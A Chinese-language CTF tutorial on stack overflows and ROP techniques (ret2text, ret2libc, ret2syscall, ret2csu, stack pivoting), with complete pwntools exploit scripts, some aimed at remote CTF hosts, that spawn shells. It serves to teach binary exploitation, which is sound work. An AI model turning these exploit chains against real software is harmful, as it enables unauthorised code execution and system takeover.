CTF-Pwn从栈溢出到系统调用:ROP攻击全景图解与实战进阶指南(万字超详版)
前言本文系统性地剖析了栈溢出漏洞及其衍生的初级ROP利用技术,从最基础的缓冲区溢出原理出发,逐步深入至返回导向编程(ROP)的各个层面。我们将通过实际案例展示如何通过精确计算偏移量覆盖返回地址实现控制流劫持,并在此基础上探索ret2text、ret2libc、ret2syscall、ret2csu以及栈迁移等核心技术。无论是32位还是64位环境,无论是动态链接还是静态编译,本文都将提供从理论分析到
前言
本文系统性地剖析了栈溢出漏洞及其衍生的初级ROP利用技术,从最基础的缓冲区溢出原理出发,逐步深入至返回导向编程(ROP)的各个层面。我们将通过实际案例展示如何通过精确计算偏移量覆盖返回地址实现控制流劫持,并在此基础上探索ret2text、ret2libc、ret2syscall、ret2csu以及栈迁移等核心技术。无论是32位还是64位环境,无论是动态链接还是静态编译,本文都将提供从理论分析到实践利用的完整解决方案,帮助大家建立从漏洞发现到利用完成的系统性知识体系。
栈溢出与初级 ROP
栈溢出原理:
栈溢出是指程序向栈上的局部缓冲区写入了超过其分配大小的数据,导致多余的数据溢出并覆盖了栈中相邻的重要信息,如:各个寄存器和函数的返回地址。攻击者可以利用这一点,精心构造输入数据,篡改返回地址,使程序跳转到恶意代码所在的位置执行,从而实现控制程序流程甚至获取系统权限的目的。这是二进制安全中最经典、最基础的漏洞类型之一。 此外,我们也不难发现,发生栈溢出的基本前提是:
- 程序必须向栈上写入数据。
- 写入的数据大小没有被良好地控制。
最经典的栈溢出攻击方式之一,是通过覆盖函数返回地址,将其指向攻击者指定的代码位置(例如某个已有函数),从而劫持程序控制流。当然,前提是目标地址所在的内存段具备可执行权限。
我们来看一个例题:
#include <stdio.h>
#include <string.h>
void win(void)
{
puts("Congratulations! You've hijacked the control flow!");
}
void echo_input(void)
{
char buffer[16];
gets(buffer);
printf("You said: %s\n", buffer);
}
int main(int argc, char **argv)
{
echo_input();
return 0;
}这个程序的功能很简单:读入一行字符串并回显。我们的目标是让程序在执行完 echo_input 后,不正常返回 main,而是跳转到 win 函数。
编译配置
为了便于演示基本的栈溢出利用,我们关闭常见的保护机制:
gcc -m32 -fno-stack-protector -no-pie -o vuln vuln.c其中:
- -m32:生成 32 位程序;
- -fno-stack-protector:禁用栈金丝雀(canary)保护;
- -no-pie:禁用位置无关可执行(PIE),使程序加载地址固定。
同时,在系统层面关闭 ASLR(地址空间布局随机化):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space使用 checksec 验证保护状态:
checksec vuln输出:

说明栈不可执行(NX 开启),但我们不需要 shellcode,只需跳转到已有函数,因此仍可利用。
分析栈布局

使用 IDA Pro 反汇编 zhan,查看 echo_input 函数:

因此,从 buffer 到返回地址的距离为:
- buffer 起始于 ebp - 0x18
- 保存的 ebp 在 ebp 处
- 返回地址在 ebp + 4
所以,从 buffer 到返回地址的偏移为:
0x18(buffer 到 ebp) + 4(ebp 到 retaddr)
获取目标地址
在 IDA 中查看 win 函数的地址

即 win 的入口地址是 0x08049186。
由于 x86 是小端序,该地址在内存中表示为字节序列:
\x86\x91\x04\x08构造 payload
我们需要输入:
- 0x1c用于填满 buffer 和覆盖 saved ebp;
- 接下来的 4 字节为 win 函数地址,覆盖返回地址。
注意:gets 以换行符结束输入,会自动添加 \n,但 sendline() 也会加 \n,所以 payload 本身无需包含换行。
使用 pwntools 编写利用脚本:
from pwn import *
p = process('./zhan')
win_addr = 0x08049186
payload = b'A' * 0x18+ b'bbbb' + p32(win_addr)
p.sendline(payload)
p.interactive()执行效果
运行 exploit:
[$]> python test.py
[+] Starting local process './zhan': pid 32141
[*] Switching to interactive mode
$ ok
You said: AAAAAAAAAAAAAAAAAAAAAAAAbbbb\x86\x91\x04\x08ok
Congratulations! You've hijacked the control flow!
[*] Got EOF while reading in interactive
$虽然程序最终因非法返回而崩溃(因为 win执行完后试图从无效地址返回),但我们成功触发了 win 函数。这证明控制流已被劫持,栈溢出利用成功!
初级ROP
了解栈溢出原理后,我便能轻松控制函数的返回地址。接着,借助 ROPgadget 工具在 libc 库中搜索以ret 结尾的指令片段,通过精心构造这些片段,即可搭建一条完整的 ROP 链,从而实现对程序执行流程的控制。
初级的ROP一般分为四种类型:
ret2text:
原理:程序的.text段中已经存在可以直接 getshell 的代码,我们通过栈溢出,将返回地址覆盖为后门函数的地址 。
demo:
这是某平台上的一道ctf题,
先checksec,file检查一下

是一个开启了nx保护的32位动态链接可执行文件
现在ida里面看一下他的反编译代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}
ssize_t function()
{
char buf; // [esp+0h] [ebp-88h]
system("echo Input:");
return read(0, &buf, 0x100u);
}在function函数里存在栈溢出,buf在栈上的位置是 [ebp-0x88],也就是距离 ebp 有 0x88(136)字节。read读取的最大长度是 0x100(256)字节。从 buf到返回地址的距离 = 0x88 + 4 = 0x8c(140)字节。

先用objdump找一下system函数的地址

再用ROPgadget找到字符串/bin/sh的地址

直接构造exp:
from pwn import *
p = remote('172.19.14.20', 27080)
payload = b"A" * 140
payload += p32(0x08048320)
payload += p32(0x41414141)
payload += p32(0x0804A024)
p.sendline(payload)
p.interactive()可以直接拿到shell。
不过严格来讲,这个还不能算是ROP。
ret2libc:
ret2libc是一种在栈不可执行(NX/DEP 开启)的环境下绕过代码注入限制的经典利用技术,其核心原理是:当程序存在栈溢出等控制流劫持漏洞时,攻击者不注入 shellcode,而是直接覆盖返回地址,使程序跳转到 libc 中已有的高危函数去执行;由于 libc 在程序运行时已被加载到内存,且其中不仅包含 system 函数,还内嵌了 "/bin/sh" 字符串,攻击者只需在栈上精心布置函数地址及其参数(32 位下通过栈传参,64 位下需配合 pop rdi; ret 等 gadget 设置寄存器),即可构造出等效于 system("/bin/sh") 的调用,从而获得 shell;这项技术依赖于能够获取 libc 函数的真实地址——在 ASLR 关闭时可直接使用固定偏移,在 ASLR 开启时则需先通过信息泄露(如调用 puts 泄露 got 表项)计算出 libc 基址,再推导出所需符号的运行时地址,最终实现无需执行任意代码即可完成提权的“合法”攻击。
原理是这样,接下来看两个例题就明白了。
demo:
32位:
这是buuctf上的一个题
先用checksec,file进行检查一下
是一个开启了nx保护的32位动态链接可执行文件
查看一下反编译代码:
ssize_t __cdecl sub_80487D0(char a1)
{
char buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( a1 == 127 )
return read(0, buf, 0xC8u);
else
return read(0, buf, a1);
}
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", a1);
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}接着我们来分析反编译代码:
一眼可以看到在sub_80487D0函数里面有两个read,观察代码,我们不难发现,只要返回else里面的read就能够最大程度的实现栈溢出。
然而sub_804871F函数是验证我们输入是否等于一个随机数的字符串表示,正确则返回输入的第8个字节。
思路:
我们可以通过发送 b'\x00'*7 + b'\xff' 使 strlen 返回 0 从而绕过验证并令函数返回 -1,触发栈溢出。
之后我们用 write 泄露 libc 地址并返回 main 二次利用,最终构造 system("/bin/sh") 的 ret2libc 链实现 getshell。
在ida里查看buf的偏移量。


偏移量是0xE7+0x4
32位,通过调用 PLT 中的write函数,泄露 GOT 表中某 libc write函数的真实地址,结合已知 libc 版本计算基地址,从而定位 system 和 /bin/sh,实现 ret2libc。
ROP链:
第一次:
write_plt; main; 1; write_got; 4第二次:
system_addr; any_ret; bin_sh_addr直接上exp:
from pwn import *
from LibcSearcher import *
#p=process('./babyroppwn')
p=remote('node5.buuoj.cn',28591)
elf = ELF('./babyroppwn')
payload1=b'\x00' * 7 + b'\xff'
p.sendline(payload1)
main_addr=0x08048825
write_plt=elf.plt["write"]
write_got=elf.got["write"]
payload2=b'a'*(0xe7+0x4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("Correct\n")
p.sendline(payload2)
write_addr=u32(p.recv(4))
print(hex(write_addr))
libc=LibcSearcher("write",write_addr)
libc_base=write_addr-libc.dump("write")
system_addr=libc_base+libc.dump("system")
bin_sh_addr=libc_base+libc.dump("str_bin_sh")
p.sendline(payload1)
payload3=b'a'*(0xe7+0x4)+p32(system_addr)+p32(1)+p32(bin_sh_addr)
p.recvuntil("Correct\n")
p.sendline(payload3)
p.interactive()就可以拿到shell。
64位:
这是某平台上的一个ctf题,
先checksec,file一下

是一个开启了NX,canary保护的64位动态链接可执行文件,地址随机。
看反编译代码
unsigned __int64 sub_4006E2()
{
char buf[8]; // [rsp+10h] [rbp-50h] BYREF
FILE *v2; // [rsp+18h] [rbp-48h]
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
v2 = stdin;
puts("Do you know how to do buffer overflow?");
read(0, buf, 0x100uLL);
printf("%s. Try harder!", buf);
read(0, buf, 0x100uLL);
puts("I hope you win");
return __readfsqword(0x28u) ^ v3;
}
__int64 __fastcall main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
sub_4006E2();
return 0LL;
}思路:
先泄露栈 Canary 绕过保护,再泄露 libc 地址实现 ret2libc,最终执行 system("/bin/sh") 获取 shell。
64位的传参前六位是通过寄存器传参,依次是:rdi rsi rdx rcx r8 r9然后才是栈。
所以在进行泄露之前,我们需要控制函数的第一个参数(即 rdi 寄存器),所以我们在程序的非 PIE 可执行段中寻找一个 pop rdi; ret 的 ROP gadget,并使用其固定地址来构造 ROP 链。

分析:
先来计算偏移量:


根据反编译代码,我们可以很明显看到var_8就是我们的泄漏的canary地址
所以我们的填充偏移量为:0x50-0x8
64位和32位的有点不同,需要借助rdi这一寄存器来实现泄露,这里是通过puts函数泄露read的真实地址,原理是一样的,其他地方大差不差。
ROP链:
第一次:
pop rdi; ret; read_got; puts_plt; main第二次:
pop rdi; ret; binsh_addr; ret; system_addr直接上exp:
from pwn import*
elf=ELF('./canary')
local=2
if local==1:
p=process('./canary')
else:
p=remote("172.19.14.20",27125)
context.log_level="debug"
p.recvuntil("Do you know how to do buffer overflow?\n")
payload=b'a'*(0x50-0x08)
p.sendline(payload)
p.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
p.recvuntil("\n")
canary=u64(p.recv(7).rjust(8,b'\x00'))
print("canary:",hex(canary))
pop_rdi=0x0000000000400863
read_got=elf.got['read']
puts_plt=elf.plt['puts']
main_addr=0x400789
payload2=b'a'*(0x48)+p64(canary)+b'a'*8+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter("harder!",payload2)
p.recvuntil("I hope you win\n")
read_addr=u64(p.recv(6).ljust(8,b'\x00'))
print("read addr:",hex(read_addr))
libc=ELF("./libc-2.27.so")
libc_base=read_addr-libc.sym["read"]
system_addr=libc.sym["system"]+libc_base
binsh_addr=next(libc.search(b'/bin/sh'))+libc_base
p.sendlineafter("Do you know how to do buffer overflow?\n","I will hack you")
ret=0x000000000040059e
payload2=b'a'*(0x48)+p64(canary)+b'a'*8+p64(pop_rdi)+p64(binsh_addr)+p64(ret)+p64(system_addr)
p.sendlineafter("harder!",payload2)
p.interactive()这里也是可以直接拿到shell。
ret2syscall:
ret2syscall 是一种在无法依赖 libc(如程序静态编译、无 system 函数或被沙箱限制)时,通过 ROP 链直接调用操作系统内核功能的高级利用技术,其核心原理是:利用栈溢出控制程序执行流,通过一系列以 ret 结尾的 gadget 精确设置系统调用所需的寄存器(32 位下为 eax=系统调用号、ebx/ecx/edx=参数;64 位下为 rax=系统调用号、rdi/rsi/rdx=参数),再跳转到程序中已有的 syscall(64 位)或 int 0x80(32 位)指令处,从而触发内核执行如 execve("/bin/sh", 0, 0) 等高权限操作;由于系统调用是操作系统提供的底层接口,只要能控制寄存器并执行 syscall 指令,即使没有 libc 也能直接请求内核启动 shell,因此 ret2syscall 不依赖任何外部库,仅依靠 CPU 指令和系统 ABI,是绕过 NX 与 libc 缺失双重限制的通用且底层的 ROP 利用方式。
做这种类型的题目时,我们一开始需要找到
32位:
ROP查找pop eax; pop ebx; pop ecx; pop edx; ret
各个寄存器存放的东西:
mov eax, SYS_CALL_NUMBER 系统调用号
mov ebx, arg1 第1个参数
mov ecx, arg2 第2个参数
mov edx, arg3 第3个参数
int 0x80 触发系统调用64位:
ROP查找pop rax; pop rbx; pop rcx; pop rdx; ret
各个寄存器存放的东西:
mov rax, SYS_CALL_NUMBER 系统调用号
mov rdi, arg1 第1个参数
mov rsi, arg2 第2个参数
mov rdx, arg3 第3个参数
syscall查看所有系统调用号的命令:
32位:
cat arch/x86/entry/syscalls/syscall_32.tbl
64位:
cat arch/x86/entry/syscalls/syscall_64.tbldemo:
32位
某平台上的一个ctf题:03ret2syscall_32
先checksec,file查看一下

是一个32位静态链接可执行文件
查看反编译代码
int door()
{
char v1[520]; // [esp+0h] [ebp-208h] BYREF
puts("You may need 0xb");
puts("Good Luck.");
return gets(v1);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
init_0();
door();
return 0;
}根据标题的意思,可以直接确定是ret2syscall
直接开始做:
先用ROPgadget找到相应的寄存器
eax:
ROPgadget --binary ret2sys_64 --only 'pop|ret'|grep 'eax'
ebx:
ROPgadget --binary ret2sys_64 --only 'pop|ret'|grep 'ebx'
在查找ebx的时候发现ebx,ecx,edx连续的寄存器
接着就是找到字符串“/bin/sh”
ROPgadget --binary ret2sys_64 --string "/bin/sh"
最后还有int_80(32位)
ROPgadget --binary ret2sys_64 --only "int"
所以我们的ROP为:
pop eax; ret; 0xb; pop edx; pop ecx; pop ebx; ret; 0; 0; "/bin/sh"; int 0x80直接上exp:
from pwn import*
elf=ELF('./03ret2syscall_32')
load=2
if load==1:
p=process('03ret2syscall_32')
else :
p=remote('1.95.36.136',2144)
pop_eax=0x080b8576
pop_edx_ecx_ebx=0x0806f250
bin_sh_addr=0x080ea068
int_80=0x0806cea3
payload=b'a'*0x20c+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_sh_addr)+p32(int_80)
p.sendline(payload)
p.interactive()也是能成功拿到shell。
64位:
某平台一道ctf题:ret2sys_64
先checksec,file查看一下

是一个开启了nx保护的64位静态链接可执行文件,注意没有开PIE
反编译看一下
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[80]; // [rsp+0h] [rbp-50h] BYREF
setvbuf(stdout, 0LL, 2LL, 0LL);
setvbuf(stdin, 0LL, 1LL, 0LL);
puts("[XCITC-CTF]");
puts("where is my system_x64?");
gets(v4);
puts("Nh..");
return 0;
}并没有什么用
那就直接进行流程:
找到相应的寄存器地址
rax:
ROPgadget --binary ret2sys_64 --only 'pop|ret'|grep 'rax'![]()
rdi:
ROPgadget --binary ret2sys_64 --only 'pop|ret'|grep 'rdi'
rsi:
ROPgadget --binary ret2sys_64 --only 'pop|ret'|grep 'rsi'
syscall:
ROPgadget --binary ret2sys_64 --only "syscall|ret"
当我去找字符串“/bin/sh”的时候发现并没有找到

这个时候我们可以通过我们手动输入一个"/bin/sh\x00"(\x00是为了补齐八位)字符串,将他存放至可写段。
这里我就直接将他写到.bss段

至于这里为什么是.bss段因为这是最常见的

确定我们的.bss段的地址:
readelf -S ./ret2sys_64 | grep .bss
查看一下偏移

返回地址为0x50+0x8
找到这些数据之后,我们就可以开始写exp了
所以ROP链:
pop rax; ret; 0; pop rdx; pop rsi; ret; 0x10; bss; pop rdi; ret; 0; syscall; pop rax; ret; 0x3b; pop rdx; pop rsi; ret; 0; 0; pop rdi; ret; bss; syscall上exp:
from pwn import*
elf=ELF('./ret2sys_64')
load=1
if load==1:
p=process('./ret2sys_64')
else :
p=remote('1.95.36.136',2144)
pop_rax=0x46b9f8
pop_rdi=0x4016c3
pop_rdx_rsi=0x4377f9
bss_addr=0x6c1c40
syscall_addr=0x45bac5
payload = b'a'*(0x50+0x8)
payload += p64(pop_rax) + p64(0)
payload += p64(pop_rdx_rsi) + p64(0x10) + p64(bss_addr)
payload += p64(pop_rdi) + p64(0)
payload += p64(syscall_addr) # read(0, bss, 0x10)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(pop_rdx_rsi) + p64(0) + p64(0)
payload += p64(pop_rdi) + p64(bss_addr)
payload += p64(syscall_addr) # execve(bss, 0, 0)
p.sendline(payload)
p.sendline(b"/bin/sh\x00")
p.interactive()也是可以成功拿到shell了。
通用 ROP(ret2csu)
ret2csu 是一种利用程序中 __libc_csu_init 函数内部存在的特定代码片段来构造 ROP攻击链的技术。它的主要用途是在目标程序缺乏足够可用 gadgets(例如用于设置函数调用参数的 pop rdi; ret 等指令序列)的情况下,依然能够通过这些预置的代码片段精确控制关键寄存器(如 rdi、rsi、rdx),从而完成对任意函数的调用。由于 __libc_csu_init 是 gcc 在编译动态链接的 64 位 ELF 程序时自动生成的初始化函数,几乎在所有此类程序中都会存在,因此 ret2csu 具有很强的通用性和广泛的适用性。在实际解题过程中,我们经常会遇到程序中缺少必要 gadgets 的情况,这时 ret2csu 就成为一种非常实用且高效的替代方案,帮助我们绕过限制,顺利构造出完整的ROP链。
一句话记住ret2csu
Ret2csu = 用csu的pop链设置寄存器 + 用mov链传递参数 + 7个qword栈平衡
我将用下面的csu_init函数代码简单分析一波:
.text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r14
.text:0000000000401293 mov rsi, r13
.text:0000000000401296 mov edi, r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx
.text:00000000004012A4 jnz short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx <---第一次进入的地方
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn
.text:00000000004012B4 ; } // starts at 401250
.text:00000000004012B4 __libc_csu_init endp
.text:00000000004012B4介绍
一般是配合栈溢出来使用的。
我们将填充完偏移量之后,将我们的返回地址设置成上面的第一次进入的地方,也就是0x4012AA的位置。这个时候程序就会按照上面的指令依次设置 rbx,rbp,r12,r13,r14,r15,然后再让程序返回到 loc_401290: 处,这样 rdx 、rsi以及edi 就能通过之前赋值的 r13、r14、r15 被我们控制。
根据loc_401290可以知道各个寄存器对应的是什么
pop rbx
pop rbp
pop r12 -> edi (参数1)
pop r13 -> rsi (参数2)
pop r14 -> rdx (参数3)
pop r15 函数地址
ret下面是几个mov对应的功能:
mov rdx, r14 设置第三个参数
mov rsi, r13 设置第二个参数
mov edi, r12d 设置第一个参数
call [r15 + rbx*8] 调用函数设置
注意,我们给rbp和rbx进行赋值的时候,必须根据loc_401290来进行设置,让条件不成立跳出loc_401290,执行loc_4012A6。

注意看这里,rbx+1之后,跟rbp进行比较,如果不相等他就会执行jnz,从而进入循环。而如果我们要跳出循环必须让他两相等。设置如下:
rbx = 0 # 必须为0,call [r15+rbx*8] = call [r15]
rbp = 1 # 必须为1,避免循环
r12 = 参数1 # 注意:只能设置edi(32位),不是完整rdi
r13 = 参数2 # rsi
r14 = 参数3 # rdx
r15 = 函数地址 # 要调用的函数当rbx和rbp相等时就会跳出循环,再次执行loc_4012A6,因为第二次执行loc_4012A6里面的东西已经没有用了,所有为了栈平衡需要填充7个无用的地址(一般用0xdeadbeef)。
demo
NSSCTF平台上的一个题:ret2csu
先checksec,file检查一下

是一个开启了NX保护的固定地址的64位的动态链接可执行文件
然后检查一下是否存在csu gadget
objdump -d binary | grep -A10 "__libc_csu_init"
很明显是存在的。
还是先反编译一下程序
int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(_bss_start, 0LL);
write(1, "Start Your Exploit!\n", 0x14uLL);
vuln();
return 0;
}
ssize_t vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF
write(1, "Input:\n", 7uLL);
read(0, buf, 0x200uLL);
return write(1, "Ok.\n", 4uLL);
}发现并没有后门函数,查看字符串也没有我们要的system函数和/bin/sh字符串
这题的思路就是先通过ret2csu加ret2libc泄露基地址,然后计算出system函数和/bin/sh字符串的地址。
那么就先配合上面的流程开始设置吧
首先是偏移量:
buf到返回地址的偏移量是0x100+0x8

看一下__libc_csu_init:

接下来就直接将返回地址设置成0x4012AA,然后参数设置
- rbx=0, rbp=1:确保循环只执行一次
- r12=1:实际应该是函数地址,这里可能有误,应为write_got
- r13=write_got → rdx = 8(写入长度)
- r14=8 → rsi = write_got(要泄漏的地址)
- r15=write_got → edi = 1(标准输出)
在最后将返回地址设置成vuln函数,执行第二次rop。
所以我们的ROP是:
第一次:泄露
padding + csu_end + rbx:0 + rbp:1 + r12:write_got + r13:write_got + r14:8 + r15:write_got + csu_start + 垃圾 + vuln_addr
第二次:getshell
padding + ret_addr + rdi_ret + binsh_addr + system_addr直接上exp:
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
elf = ELF('./ret2csu')
load = 1
if load==1:
p = process('./ret2csu')
libc =ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
else :
p=remote('node5.anna.nssctf.cn',24347)
libc = ELF('./libc.so.6')
write_got = elf.got['write']
write_plt=elf.plt['write']
vuln_addr=0x401176
rdi_ret=0x4012b3
rsi_r15_ret=0x04012b1
ret_addr=0x40101a
pading=0x108
csu_end=0x4012AA
rbx=0
rbp=1
r12=1
r13=write_got
r14=8
r15=write_got
csu_start=0x401290
payload1=b'a'*pading+flat([csu_end,rbx,rbp,r12,r13,r14,r15,csu_start])
payload1+=p64(0xdeadbeef)*7+p64(vuln_addr)
p.sendlineafter("Input:\n",payload1)
p.recvuntil("Ok.\n")
write_addr=u64(p.recv(8))
print(f"write_addr==>{hex(write_addr)}")
libc_base=write_addr-libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload2=b'a'*pading+p64(ret_addr)+p64(rdi_ret)+p64(binsh_addr)+p64(system_addr)
p.sendlineafter("Input:\n",payload2)
p.interactive()也是可以成功拿到shell的。
这里有个问题需要说明一下:泄露write的时候参数是write@got,调用write函数也是write@got
原因:
当使用 write_plt 时:
r15 = write_plt (比如 0x401090)
rbx = 0
call [0x401090 + 0] = call [0x401090]
问题:0x401090 是 PLT 表的地址,但 PLT 表里存放的是 跳转指令,不是函数地址。所以 [0x401090] 取出来的是一条 jmp 指令的机器码,不是一个有效的函数指针。
当使用 write_got 时:
r15 = write_got (比如 0x404018)
rbx = 0
call [0x404018 + 0] = call [0x404018]
正确:0x404018 是 GOT 表的地址,GOT 表里存放的是 实际的函数地址。所以 [0x404018] 取出来的是 libc 中 write 函数的真实地址。
栈迁移技术
介绍
栈迁移是当我们能控制程序向某块内存(如.bss段)写入数据,但栈溢出空间太小放不下完整ROP链时用的一种 就可以先在这块可控内存中布置好ROP链,然后通过一个特殊gadget(比如leave; ret或pop rsp; ret)把栈指针rsp“骗”到我们写好的内存地址上,让程序以为那里是新的栈,从而顺利执行你的ROP链。
简单说就是:栈不够用?那就换个地方当栈!
栈迁移的关键条件:
1、能控制某个内存区域的内容,通过 read()或gets()等写入数据到 .bss 段或堆。
2、能找到一个 gadget 能将 rsp 指向该区域
常见 gadget:
1、mov rsp, rax; ret
2、xchg esp, eax; ret(32位)
3、leave; ret(配合伪造的 rbp)
4、pop rsp; ret核心知识点:
leave=mov rsp,rbp; pop rbp;
ret=pop ripdemo:
最近要考四六级了,来看一下ctfshow摆烂杯-CET6
来checksec一下,是一个开启了nx的64位动态可执行文件。

在ida里看一下主要的反编译代码:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[4]; // [rsp+8h] [rbp-8h] BYREF
unsigned int seconds; // [rsp+Ch] [rbp-4h]
seconds = 4096;
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("CET-4 is easy!CET-6 is harder!");
puts("------Welcome to CET6------");
puts("The exam begins!!!");
puts("your name:");
read(0, buf, 8uLL);
sleep(seconds);
puts("The exam is over!!!");
wenhou();
return 0;
}
ssize_t wenhou()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF
puts("QAQ:How was your test???");
return read(0, buf, 0x50uLL);
}根据代码发现,这题没有后门函数,也没有发现字符串/bin/sh,那么只能通过泄露来获取了。

在wenhou函数中发现一个输入比较多的read函数,但是溢出的字节数无法支持我们写入rop
什么!栈不够用?那就换个地方当栈!
思路:
我们通过栈迁移技术将我们布置rop链的地方改到一个可以写的位置。
主要是利用栈溢出改变寄存器rbp的值,使他在进行pop时跳转到我们指定的足够大的空间去。再通过ret2libc泄露puts函数的地址,从而计算基地址,再求出system函数和/bin/sh的地址。
思路清晰了,那就开始行动:
第一步:将局部变量buf所在的栈全部填入垃圾数据
这里buf在栈上的起始地址是rbp-0x40的位置,所以偏移是0x40
再把rbp填上一个可写段的地址(这里就用bss段)。

在程序数据区域找到可写(rw-p)随便找一个空余的地方就行。我们这里就用0x404900.
注意:.bss 段没有单独列出!它是未初始化的全局变量,在加载时由系统自动分配,属于 0x400000~0x408000 范围内,但不映射到文件。
所以我们看到的 0x404900 是 .bss 段的一部分,虽然不在 vmmap 中显式列出,但它确实存在。
然后将返回地址设置在准备进入read函数的地方,也就是lea rax,[rbp+buf]的位置。
payload如下:
b'a'*0x40+p64(0x404900)+p64(0x4011AE)这样我们就成功的改变了我们的rbp的值。
第二步,改变rsp的地址。
因为在执行完第一个payload之后,rsp他会指向原函数栈帧的返回地址+0x8的位置,所以我们要把rsp指针指向我们迁移的地方来。
执行完第一个payload之后,程序会继续执行lea rax,[rbp+buf]的位置,只有在程序执行第二次leave的时候,rsp才会指向我们迁移的地方来。
那我们还要再进行一次劫持了,第一次劫持是改变rbp的位置,第二次那我们就改变rsp的值。
第二次,我们就把rbp的值向下挪0x40个字节,这样就能让buf在栈上的完整的地址开始。
payload如下:
b'a'*0x40+p64(0x404940)+p64(0x4011ae)
当我们发完第二次劫持之后,栈上的位置就变成了这样。
这个时候我们就有足够的空间布置我们泄露的rop链了。
第三次payload:
b'r'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4011AE)接下来便是retlibc的知识点了,最后
上完整exp:
from pwn import*
from LibcSearcher import *
load=1
if load==1:
p=process('./CET6')
libc=ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
else :
p=remote('靶机',端口)
elf=ELF('./CET6')
context.log_level='debug'
context.arch='amd64'
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pading=0x40
pop_rdi=0x04012f3
leave_read=0x4011ae
fake_stack=0x404900
p.sendafter('your name:\n','\x00'*0x8)
gdb.attach(p)
p.sendafter('QAQ:How was your test???',b'a'*0x40+p64(fake_stack)+p64(leave_read))
pause()
p.send(b'a'*0x40+p64(fake_stack+0x40)+p64(leave_read))
pause()
p.sendline(b'r'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(leave_read))
print("recvline:",p.recvline())
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))#ok
print("puts_addr ",hex(puts_addr))
if load==1:
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
else :
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system_addr=libcbase+libc.dump('system')
sh_addr=libcbase+libc.dump('str_bin_sh')
payload=b'a'*0x20+flat([pop_rdi,binsh_addr,system_addr])
pause()
p.send(payload)
p.interactive()最后也可以成功拿到shell。
格式化字符串漏洞
格式化字符串漏洞,是一种经典的软件安全漏洞,主要出现在使用 C/C++ 语言中对 printf 类函数(如 printf, sprintf, fprintf, snprintf 等)处理用户输入时未正确指定格式字符串的情况下。攻击者可以利用该漏洞实现信息泄露、栈/堆内存任意读写,甚至远程代码执行(RCE)。
原理
格式化字符串漏洞源于程序在调用如 printf 等格式化输出函数时,错误地将用户可控的输入直接作为格式字符串参数使用。由于这类函数会根据格式字符串中的占位符(如 %x、%s、%n 等)从栈中依次读取或写入数据,我们可通过精心构造输入,诱使程序泄露内存内容(如栈数据、地址信息)甚至向任意内存地址写入数据,从而实现信息窃取、程序崩溃或远程代码执行。该漏洞的核心在于混淆了“数据”与“控制指令”,破坏了程序的内存安全。
格式化字符串漏洞分为:
泄露栈内容
泄露任意地址内容(利用 %s)
任意地址写(利用 %n)
三个步骤
我将以下面程序来进行分析:
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[256];
read(0, buf, 255);
printf(buf);
return 0;
}关闭保护编译:
gcc -m32 -fno-stack-protector -no-pie -z execstack -o vuln vuln.c1、准备工作
在信息泄露之前,我们必须做好准备工作:
